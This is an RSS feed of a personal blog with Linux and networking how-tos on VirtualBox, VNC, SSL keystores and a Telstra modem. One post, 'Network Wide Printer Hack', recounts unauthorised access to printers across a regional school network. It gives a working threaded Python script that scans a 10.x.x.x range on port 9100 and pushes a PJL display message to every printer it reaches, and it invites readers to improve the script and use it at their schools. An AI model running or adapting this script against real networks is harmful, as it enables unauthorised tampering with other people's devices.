<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Matt Barrett</title>
	<atom:link href="http://www.matt-barrett.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.matt-barrett.com</link>
	<description>Matt Barretts personal blog</description>
	<lastBuildDate>Sat, 09 Jan 2010 07:29:34 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Virtualbox on Headless Server</title>
		<link>http://www.matt-barrett.com/2010/01/virtualbox-on-headless-server/</link>
		<comments>http://www.matt-barrett.com/2010/01/virtualbox-on-headless-server/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 07:26:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.matt-barrett.com/?p=76</guid>
		<description><![CDATA[It is much easier to set up and edit VirtualBox machines on the GUI app than with the VBoxManage command but on a headless server without a screen it is impossible to run the VirtualBox gui. VBoxWeb is a web interface to virtualbox but it cant create or edit virtual machines yet. Using my previous [...]]]></description>
			<content:encoded><![CDATA[<p>It is much easier to set up and edit VirtualBox machines on the GUI app than with the VBoxManage command but on a headless server without a screen it is impossible to run the VirtualBox gui. <a href="http://code.google.com/p/vboxweb/" target="_blank">VBoxWeb</a> is a web interface to virtualbox but it cant create or edit virtual machines yet. Using my previous post about getting a remote X display on a headless server it is possible to get the GUI running in a web browser in the java vnc viewer.</p>
<p>After installing the remote GUI and logging into it you can open xterm by right clicking on the desktop. In xterm just run &#8216;VirtualBox&#8217; and you will be able to access the full GUI and create or edit machines.</p>
<p>Note: You cant start the virtual machines in headless mode from the GUI. I use the VBoxWeb interface to start and stop the machines and then view them over RDP.</p>
<div id="attachment_79" class="wp-caption alignleft" style="width: 440px"><img class="size-large wp-image-79  " title="VirtualBox" src="http://www.matt-barrett.com/wp-content/uploads/2010/01/Screen-shot-2010-01-09-at-6.20.52-PM-1024x836.png" alt="VirtualBox in Java VNC Viewer" width="430" height="351" /><p class="wp-caption-text">VirtualBox in Java VNC Viewer</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2010/01/virtualbox-on-headless-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remote X applications on Headless Ubuntu Server</title>
		<link>http://www.matt-barrett.com/2010/01/remote-x-on-headless-server/</link>
		<comments>http://www.matt-barrett.com/2010/01/remote-x-on-headless-server/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 07:09:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[display]]></category>
		<category><![CDATA[headless]]></category>
		<category><![CDATA[remote]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[vnc]]></category>
		<category><![CDATA[x]]></category>
		<category><![CDATA[x11]]></category>
		<category><![CDATA[x11vnc]]></category>
		<category><![CDATA[xvfb]]></category>

		<guid isPermaLink="false">http://www.matt-barrett.com/?p=70</guid>
		<description><![CDATA[This is a small solution to running GUI apps that require X on a headless server without installing a full blown desktop environment or needing a graphics card for display.
After searching for different solutions to get a remote X display i found a way that will do it with very little overhead and works nicely. [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_83" class="wp-caption alignleft" style="width: 440px"><img class="size-large wp-image-83  " title="Virtual Display in Java VNC Viewer" src="http://www.matt-barrett.com/wp-content/uploads/2010/01/Screen-shot-2010-01-09-at-6.27.24-PM-1024x835.png" alt="Virtual Display in Java VNC Viewer" width="430" height="351" /><p class="wp-caption-text">Virtual Display in Java VNC Viewer</p></div>
<p>This is a small solution to running GUI apps that require X on a headless server without installing a full blown desktop environment or needing a graphics card for display.</p>
<p>After searching for different solutions to get a remote X display i found a way that will do it with very little overhead and works nicely. By starting a virtual X frame buffer on display :1 any apps requiring X can be started on it without the need for any graphics card or a full X11 install.</p>
<p>A VNC server such as x11vnc can be used to access the virtual X display on a remote system and the vnc-java package can allow you to connect to it and use the apps in a web browser.</p>
<p>Heres what needs to be done:</p>
<p>Install the packages required</p>
<div class="codesnip-container" >$ sudo apt-get install xvfb x11vnc vnc-java blackbox xterm</div>
<p>Start Xvfb to create a 800*600 display on :1</p>
<div class="codesnip-container" >$ Xvfb :1 -screen 0 800&#215;600x16 -ac &amp;</div>
<p>Start blackbox window manager on the display</p>
<div class="codesnip-container" >$ DISPLAY=:1 blackbox &amp;</div>
<p>Create a password file for x11vnc</p>
<div class="codesnip-container" >$ x11vnc -storepasswd</div>
<p>Start x11vnc using display :1</p>
<div class="codesnip-container" >$ x11vnc -display :1 -usepw &amp;</div>
<p>OR</p>
<p>Start x11vnc with the java web viewer so you can access it in a web browser and without needing a VNC client</p>
<div class="codesnip-container" >$ x11vnc -display :1 -httpdir /usr/share/vnc-java -httpport 5800 -usepw -forever &amp;</div>
<p>This can also be run with the -ssl and -https tags to get ssl encryption support</p>
<p>You should be able to access the server now on port 5800 in a web browser like:</p>
<p>http://server:5800/</p>
<p>Log in with the password created earlier. To run a app in the new display right click and select xterm to bring up a terminal. The GUI apps can then be started from the terminal and can be controlled in any VNC Client</p>
<p>It can also be started in startup scripts at bootup if you want the remote X display to start accross reboots.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2010/01/remote-x-on-headless-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Wave Invites</title>
		<link>http://www.matt-barrett.com/2009/11/free-wave-invites/</link>
		<comments>http://www.matt-barrett.com/2009/11/free-wave-invites/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 11:00:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[free wave invite]]></category>
		<category><![CDATA[free wave invites]]></category>
		<category><![CDATA[google wave]]></category>
		<category><![CDATA[wave]]></category>
		<category><![CDATA[wave invite]]></category>

		<guid isPermaLink="false">http://www.matt-barrett.com/?p=65</guid>
		<description><![CDATA[Ive got a few google wave invites to give away. Rather than just giving them to the first few people that ask i wanted to do something more interisting.
Answer these questions and tell my why you should get an invite and ill send an invite to the best most creative/interesting responses. Remember to include your [...]]]></description>
			<content:encoded><![CDATA[<p>Ive got a few google wave invites to give away. Rather than just giving them to the first few people that ask i wanted to do something more interisting.</p>
<p>Answer these questions and tell my why you should get an invite and ill send an invite to the <span style="text-decoration: line-through;">best</span> most creative/interesting responses. Remember to include your email address so i can send the invite.</p>
<ol>
<li>What do you think of Google?</li>
<li>What is your favourite Google product and why?</li>
<li>What operating system do you use and why?</li>
<li>Apple?</li>
<li>How long have you used Google for?</li>
<li>What will you do with your Google Wave account?</li>
<li>How much do you want Google Wave?</li>
<li>Microsoft is the root of all evil?</li>
<li>Why should i send you one of the invites?</li>
</ol>
<p>BE CREATIVE <img src='http://www.matt-barrett.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2009/11/free-wave-invites/feed/</wfw:commentRss>
		<slash:comments>37</slash:comments>
		</item>
		<item>
		<title>Convert Private Key and Certificate for Adito SSL VPN</title>
		<link>http://www.matt-barrett.com/2009/11/convert-private-key-and-certificate-for-adito-ssl-vpn/</link>
		<comments>http://www.matt-barrett.com/2009/11/convert-private-key-and-certificate-for-adito-ssl-vpn/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 06:08:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[adito]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[certificate]]></category>
		<category><![CDATA[java key store]]></category>
		<category><![CDATA[jks]]></category>
		<category><![CDATA[private key]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[vpn]]></category>

		<guid isPermaLink="false">http://www.matt-barrett.com/?p=52</guid>
		<description><![CDATA[I bought a SSL certificate for my server running at home for https connections. The certificate worked great in Apache and Webmin admin console but when i tried to import it into Adito SSL VPN i found there was no way to import a certificate and key from the standard PEM format used by Apache. [...]]]></description>
			<content:encoded><![CDATA[<p>I bought a SSL certificate for my server running at home for https connections. The certificate worked great in Apache and Webmin admin console but when i tried to import it into Adito SSL VPN i found there was no way to import a certificate and key from the standard PEM format used by Apache. Adito is a great VPN service but its based on java and it only works with keys and certificates in a java key store file. This caused a problem for me because my key which the certificate was signed with was in PEM format. After much searching i found a way to put a standard private key and certificate into a JKS file which java can read and use for SSL at <a href="http://www.agentbob.info/agentbob/79-AB.html" target="_blank">http://www.agentbob.info/agentbob/79-AB.html</a> heres what has to be done.</p>
<p>Convert the key and certificate to DER format with openssl</p>
<pre>
<div class="codesnip-container" >
<div class="bash codesnip" style="font-family:monospace;">openssl pkcs8 <span class="re5">-topk8</span> <span class="re5">-nocrypt</span> <span class="re5">-in</span> server.key <span class="re5">-inform</span> PEM <span class="re5">-out</span> key.der <span class="re5">-outform</span> DER
openssl x509 <span class="re5">-in</span> server.cert <span class="re5">-inform</span> PEM <span class="re5">-out</span> cert.der <span class="re5">-outform</span> DER</div>
</div>
</pre>
<p>Get the java program from <a href="http://www.agentbob.info/agentbob/81/version/default/part/AttachmentData/data/ImportKey.class">here</a> for java 1.5 and then run it on the files</p>
<pre>
<div class="codesnip-container" >
<div class="bash codesnip" style="font-family:monospace;">matthew<span class="sy0">@</span>server.matt-barrett.com:~$ java ImportKey key.der cert.der
Using keystore-file : <span class="sy0">/</span>home<span class="sy0">/</span>matthew<span class="sy0">/</span>keystore.ImportKey
One certificate, no chain.
Key and certificate stored.
Alias:importkey &nbsp;Password:importkey</div>
</div>
</pre>
<p>You will then have the file keystore.ImportKey which can be imported into Adito</p>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2009/11/convert-private-key-and-certificate-for-adito-ssl-vpn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Network Wide Printer Hack</title>
		<link>http://www.matt-barrett.com/2009/09/network-printer-hack/</link>
		<comments>http://www.matt-barrett.com/2009/09/network-printer-hack/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 07:17:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[det]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[muckup week]]></category>
		<category><![CDATA[printer screen]]></category>
		<category><![CDATA[printers]]></category>
		<category><![CDATA[year 12]]></category>

		<guid isPermaLink="false">http://www.matt-barrett.com/?p=37</guid>
		<description><![CDATA[For the end of year 12 I decided to write the ultimate printer hack after finding that all the schools in the region are on the same network and the subnets are routed together. Some idiot controlling the network between schools in the region routed all 255 subnets together allowing me to access the network [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-43" title="The screen of a hacked printer" src="http://www.matt-barrett.com/wp-content/uploads/2009/09/2009-09-22-12.38.08-300x225.jpg" alt="The screen of a hacked printer" width="225" height="168" />For the end of year 12 I decided to write the ultimate printer hack after finding that all the schools in the region are on the same network and the subnets are routed together. Some idiot controlling the network between schools in the region routed all 255 subnets together allowing me to access the network of any school I want.</p>
<p>After doing some research about the HP Printer Job Language (PJL) I wrote this script to hack every printer within a ip range of 10.42.*.* in less than 2 minutes. It runs 255 threads at a time getting all the printers in the subnet in less than 1 second while keeping a count of how may printers it was able to connect to. In the regions network i was able to hack 556 printers and give them my message.</p>
<p>Would love to see improved versions or hear how you may modify the script</p>
<p>The script is a pretty quick hack but it works and gets the job done fast.</p>
<pre style="padding-left: 30px;">
<div class="codesnip-container" >
<div class="python codesnip" style="font-family:monospace;"><span class="kw1">import</span> <span class="kw3">os</span>
<span class="kw1">import</span> <span class="kw3">re</span>
<span class="kw1">import</span> <span class="kw3">time</span>
<span class="kw1">import</span> <span class="kw3">sys</span>
<span class="kw1">import</span> <span class="kw3">socket</span>
<span class="kw1">from</span> <span class="kw3">threading</span> <span class="kw1">import</span> Thread

PORT=<span class="nu0">9100</span>
hackcount=<span class="nu0">0</span>

<span class="co1">#Startup stuff</span>
<span class="kw1">print</span> <span class="st0">&quot;----- ULTIMATE PRINTER HACK -----&quot;</span>
<span class="kw1">print</span>
<span class="kw1">print</span> <span class="st0">&quot;will print a message and display it on the screen of every printer in a subnet&quot;</span>
<span class="kw1">print</span>
<span class="kw1">print</span>
start=<span class="kw2">raw_input</span><span class="br0">&#40;</span><span class="st0">&quot;First half of ip range for scanning [10.42]: &quot;</span><span class="br0">&#41;</span>
<span class="kw1">if</span> start==<span class="st0">&quot;&quot;</span>:
&nbsp; &nbsp; start=<span class="st0">&quot;10.42&quot;</span>
<span class="kw1">try</span>:
&nbsp; &nbsp; startnet=<span class="kw2">input</span><span class="br0">&#40;</span><span class="st0">&quot;Starting subnet (&quot;</span> + start + <span class="st0">&quot;.X.*) [0]: &quot;</span><span class="br0">&#41;</span>
<span class="kw1">except</span>:
&nbsp; &nbsp; startnet=0
<span class="kw1">try</span>:
&nbsp; &nbsp; endnet=<span class="kw2">input</span><span class="br0">&#40;</span><span class="st0">&quot;Finishing subnet (&quot;</span> + start + <span class="st0">&quot;.X.*) [255]: &quot;</span><span class="br0">&#41;</span>+1
<span class="kw1">except</span>:
&nbsp; &nbsp; endnet=<span class="nu0">256</span>

<span class="co1">#####Our Awesome Message to be displayed and the screen hack code</span>
message=<span class="st0">&quot;Year 12 2009!!! &nbsp; =)&quot;</span>
hack=<span class="st0">'<span class="es0">\x</span>1B%-12345X@PJL RDYMSG DISPLAY = <span class="es0">\&quot;</span>'</span> + message + <span class="st0">'<span class="es0">\&quot;</span><span class="es0">\r</span><span class="es0">\n</span><span class="es0">\x</span>1B%-12345X<span class="es0">\r</span><span class="es0">\n</span>'</span>

<span class="co1">#Threading Class, crazy stuff</span>
<span class="kw1">class</span> hackit<span class="br0">&#40;</span>Thread<span class="br0">&#41;</span>:
&nbsp; &nbsp;<span class="kw1">def</span> <span class="kw4">__init__</span> <span class="br0">&#40;</span><span class="kw2">self</span>,ip<span class="br0">&#41;</span>:
&nbsp; &nbsp; &nbsp; Thread.<span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">ip</span> = ip
&nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">status</span> = <span class="st0">&quot;wtf&quot;</span>
&nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">hacked</span> = 0
&nbsp; &nbsp;<span class="kw1">def</span> run<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:
&nbsp; &nbsp; <span class="kw1">try</span>:
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">s</span> = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>, <span class="kw3">socket</span>.<span class="me1">SOCK_STREAM</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">s</span>.<span class="me1">settimeout</span><span class="br0">&#40;</span>.05<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">s</span>.<span class="me1">connect</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">ip</span>, PORT<span class="br0">&#41;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">s</span>.<span class="me1">send</span><span class="br0">&#40;</span>hack<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">#self.s.send(message)</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">s</span>.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">status</span> = <span class="kw2">self</span>.<span class="me1">ip</span> + <span class="st0">':<span class="es0">\t</span>'</span> + <span class="st0">'DONE'</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">hacked</span> = 1
&nbsp; &nbsp; <span class="kw1">except</span> <span class="kw3">socket</span>.<span class="me1">error</span> <span class="kw1">as</span> msg:
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">status</span> = <span class="kw2">self</span>.<span class="me1">ip</span> + <span class="st0">':<span class="es0">\t</span><span class="es0">\t</span>'</span> + <span class="kw2">str</span><span class="br0">&#40;</span>msg<span class="br0">&#41;</span>

<span class="co1">#record the time we started to remember</span>
starttime = <span class="kw3">time</span>.<span class="me1">ctime</span><span class="br0">&#40;</span><span class="br0">&#41;</span>

<span class="co1">#scan through the subnets and send our message to all that let me in</span>
<span class="kw1">for</span> subnet <span class="kw1">in</span> <span class="kw2">range</span> <span class="br0">&#40;</span>startnet, endnet<span class="br0">&#41;</span>:
&nbsp; &nbsp; pinglist = <span class="br0">&#91;</span><span class="br0">&#93;</span>
&nbsp; &nbsp; <span class="kw1">for</span> host <span class="kw1">in</span> <span class="kw2">range</span><span class="br0">&#40;</span><span class="nu0">256</span><span class="br0">&#41;</span>:
&nbsp; &nbsp; &nbsp; &nbsp; ip = start + <span class="st0">&quot;.&quot;</span> + <span class="kw2">str</span><span class="br0">&#40;</span>subnet<span class="br0">&#41;</span> + <span class="st0">&quot;.&quot;</span> + <span class="kw2">str</span><span class="br0">&#40;</span>host<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; current = hackit<span class="br0">&#40;</span>ip<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; pinglist.<span class="me1">append</span><span class="br0">&#40;</span>current<span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; current.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; <span class="kw1">for</span> pingle <span class="kw1">in</span> pinglist:
&nbsp; &nbsp; &nbsp; &nbsp; pingle.<span class="me1">join</span><span class="br0">&#40;</span><span class="br0">&#41;</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> pingle.<span class="me1">hacked</span>:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hackcount+=<span class="nu0">1</span>
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">#print pingle.status</span>
&nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Subnet &quot;</span> + ip + <span class="st0">&quot; complete. &quot;</span> + <span class="kw2">str</span><span class="br0">&#40;</span>hackcount<span class="br0">&#41;</span> + <span class="st0">&quot; printers hacked.&quot;</span>

<span class="co1">#just tell the master how everything went and say im finished</span>
<span class="kw1">print</span>
<span class="kw1">print</span> <span class="st0">&quot;Start:<span class="es0">\t</span><span class="es0">\t</span>&quot;</span> + starttime
<span class="kw1">print</span> <span class="st0">&quot;Finished:<span class="es0">\t</span>&quot;</span> + <span class="kw3">time</span>.<span class="me1">ctime</span><span class="br0">&#40;</span><span class="br0">&#41;</span>
<span class="kw1">print</span>
<span class="kw1">print</span> <span class="st0">&quot;Master, I am finished, I hacked &quot;</span> + <span class="kw2">str</span><span class="br0">&#40;</span>hackcount<span class="br0">&#41;</span> + <span class="st0">&quot; printers =)&quot;</span></div>
</div>
</pre>
<p>Anyone got pics or comments about the result of the hack at their school would be awesome.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2009/09/network-printer-hack/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>New Phone, t-mobile G1</title>
		<link>http://www.matt-barrett.com/2009/08/new-phone-t-mobile-g1/</link>
		<comments>http://www.matt-barrett.com/2009/08/new-phone-t-mobile-g1/#comments</comments>
		<pubDate>Mon, 03 Aug 2009 07:09:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[cheap]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[tmobile G1]]></category>

		<guid isPermaLink="false">http://www.matt-barrett.com/?p=24</guid>
		<description><![CDATA[Got my new phone a few weeks ago. LOVE IT! The android OS is by far the best mobile phone operating system I&#8217;ve used and even beats the iPhone. After using the phone for the last 2 weeks I&#8217;ve had no problems yet and found everything just works. There is a free app for almost [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-medium wp-image-25 alignleft" title="tmobile_g1" src="http://www.matt-barrett.com/wp-content/uploads/2009/08/tmobile_g1-300x236.jpg" alt="tmobile_g1" width="270" height="212" />Got my new phone a few weeks ago. LOVE IT! The android OS is by far the best mobile phone operating system I&#8217;ve used and even beats the iPhone. After using the phone for the last 2 weeks I&#8217;ve had no problems yet and found everything just works. There is a free app for almost everything in the android market and for the other things the paid apps have been high quality.</p>
<p>So far the phone has worked well with my Telstra sim card although I haven&#8217;t been able to get 3G working yet (might be my sim card doesn&#8217;t support 3G). The MMS settings took a while to get working, it seems you must restart the phone after changing the MMS settings before they will activate. The MMS settings i used are listed <a href="http://forums.whirlpool.net.au/forum-replies.cfm?t=1105463#r10">here</a> on whirlpool.</p>
<p>The multitasking on the phone is perfect. Without multitasking its hard to call something a smart phone in my opinion. Its one of the features that makes this phone so much better than the iPhone.</p>
<p>The other feature that makes the G1 better than the iPhone or other Android phones available is the qwerty keypad. A real solid keyboard that i can touch is something that i must have.</p>
<p>Anyway that&#8217;s about it for the phone. Also if anyone here in Australia is looking to buy the G1 really cheap (AU$425) ask me and ill give you the contact details for the guy who i bought the phone off because he has more available.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2009/08/new-phone-t-mobile-g1/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Send/Recieve SMS on Telstra MF 626 prepaid modem with Ubuntu</title>
		<link>http://www.matt-barrett.com/2008/12/sendrecieve-sms-on-telstra-mf-626-prepaid-modem-with-ubuntu/</link>
		<comments>http://www.matt-barrett.com/2008/12/sendrecieve-sms-on-telstra-mf-626-prepaid-modem-with-ubuntu/#comments</comments>
		<pubDate>Sun, 07 Dec 2008 02:04:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mf 626]]></category>
		<category><![CDATA[mobile broadband]]></category>
		<category><![CDATA[sms]]></category>
		<category><![CDATA[telstra]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.matt-barrett.com/?p=12</guid>
		<description><![CDATA[
Before you can do this you should have disabled the ISO mode on the modem from the instructions here.
You can send and receive SMS using the modem that comes with Telstra prepaid mobile broadband by using a program called Phone Manager which can be installed in gnome. You can install it with
sudo apt-get install gnome-phone-manager
Once [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.matt-barrett.com/wp-content/uploads/2008/12/phonemanagerv"><img class="alignright" title="gnome-phone-manager" src="http://www.matt-barrett.com/wp-content/uploads/2008/12/phonemanager" alt="" width="170" height="235" /></a></p>
<p>Before you can do this you should have disabled the ISO mode on the modem from the instructions <a href="http://www.matt-barrett.com/?p=5" target="_blank">here</a>.</p>
<p>You can send and receive SMS using the modem that comes with Telstra prepaid mobile broadband by using a program called Phone Manager which can be installed in gnome. You can install it with</p>
<pre>sudo apt-get install gnome-phone-manager</pre>
<p>Once it is installed you can</p>
<p>n access it in Applications &gt; System Tools &gt; Phone Manager.</p>
<p>Open phone manager and its icon will appear in the notification area. Right click on the icon and go to preferences.</p>
<p>When you are in preferences, click on the connection tab.</p>
<p>Select the phone connection as &#8216;Other Port&#8217; and enter the port as the port that your modem is using. It is probably &#8216;/dev/ttyUSB3&#8242; but could be something else. You can use &#8216;ls /dev |grep ttyUSB&#8217; to help you find the correct port. It will usually be the last one that is listed from the command.</p>
<p>Close the preferences window. You will now be able to send and receive SMS messages using your mobile broadband modem.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2008/12/sendrecieve-sms-on-telstra-mf-626-prepaid-modem-with-ubuntu/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Telstra Pre-Paid Wireless Broadband &#8211; Ubuntu</title>
		<link>http://www.matt-barrett.com/2008/11/telstra-pre-paid-wireless-broadband-ubuntu/</link>
		<comments>http://www.matt-barrett.com/2008/11/telstra-pre-paid-wireless-broadband-ubuntu/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 06:09:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bigpond]]></category>
		<category><![CDATA[broadband]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[prepaid]]></category>
		<category><![CDATA[telstra]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://www.matt-barrett.com/?p=5</guid>
		<description><![CDATA[I bought one of these today with the MF 626 USB modem and after a few hours of trying different things got it working sufficiently on Ubuntu 8.10
Here is how to get it working:

When you first plug the modem into a Windows computer it will install the drivers and the user interface. The Telstra Connection [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_15" class="wp-caption alignright" style="width: 168px"><a href="http://www.matt-barrett.com/wp-content/uploads/2008/12/screenshot-details.png"><img class="size-medium wp-image-15" title="screenshot-details" src="http://www.matt-barrett.com/wp-content/uploads/2008/12/screenshot-details-263x300.png" alt="Gnome-PPP Connection Details" width="158" height="180" /></a><p class="wp-caption-text">Gnome-PPP Connection Details</p></div>
<p>I bought one of these today with the MF 626 USB modem and after a few hours of trying different things got it working sufficiently on Ubuntu 8.10</p>
<p>Here is how to get it working:</p>
<ol>
<li>When you first plug the modem into a Windows computer it will install the drivers and the user interface. The Telstra Connection Manager will automatically launch.</li>
<li>Close the Telstra Connection Manager. Using the device manager find the com port of the modem. Open Hyperterminal and connect to the modem with these settings:<br />
Hyperterminal Configuration Settings<br />
115200 &#8211; Bits per second<br />
8 &#8211; Data bits<br />
None &#8211; Parity<br />
1 &#8211; Stop bits<br />
None &#8211; Flow Control</li>
<li>Send these commands to the modem by copying them and then in Hyperterminal right click and paste.
<pre>
<div class="codesnip-container" >AT+ZOPRT=5
AT+ZCDRUN=8</div>
</pre>
</li>
<li>On Ubuntu install gnome-ppp for connecting to the modem.
<pre>
<div class="codesnip-container" >sudo apt-get install gnome-ppp</div>
</pre>
</li>
<li>Open the gnome-ppp config file
<pre>
<div class="codesnip-container" >gedit ~/.wvdial.conf</div>
</pre>
<p>and paste the following code into it.</p>
<pre>
<div class="codesnip-container" >[Dialer Defaults]
Modem = /dev/ttyUSB3
ISDN = off
Modem Type = USB Modem
Baud = 7200000
Init = ATZ
Init2 =
Init3 =
Init4 =
Init5 =
Init6 =
Init7 =
Init8 =
Init9 =
Phone = *99#
Phone1 =
Phone2 =
Phone3 =
Phone4 =
Dial Prefix =
Dial Attempts = 1
Dial Command = ATM1L3DT
Ask Password = off
Password = off
Username = na
Auto Reconnect = off
Abort on Busy = off
Carrier Check = off
Check Def Route = off
Abort on No Dialtone = off
Stupid Mode = on
Idle Seconds = 0
Auto DNS = on
;Minimize = off
;Dock = on
;Do NOT edit this file by hand!</div>
</pre>
<p>You may need to change the number at the end of the second line depending on your setup. If you cant connect to the modem restart and run</p>
<pre>
<div class="codesnip-container" >ls /dev |grep ttyUSB</div>
</pre>
<p>It will be the last device that gets listed.</li>
<li>Save and close gedit</li>
<li>Open /etc/init.d/rc.local in gedit
<pre>
<div class="codesnip-container" >sudo gedit /etc/init.d/rc.local</div>
</pre>
<p>and add these lines</p>
<pre>
<div class="codesnip-container" >modprobe -r usbserial
modprobe usbserial vendor=0x19d2 product=0x0031</div>
</pre>
<p>Save and close</li>
<li>Restart with modem unplugged and plug modem in after starting.</li>
<li>Open Gnome-PPP and click connect. You should now be online.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2008/11/telstra-pre-paid-wireless-broadband-ubuntu/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
		</item>
		<item>
		<title>Hello world!</title>
		<link>http://www.matt-barrett.com/2008/11/hello-world/</link>
		<comments>http://www.matt-barrett.com/2008/11/hello-world/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 04:34:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://matt-barrett.com/?p=1</guid>
		<description><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!
]]></description>
			<content:encoded><![CDATA[<p>Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.matt-barrett.com/2008/11/hello-world/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
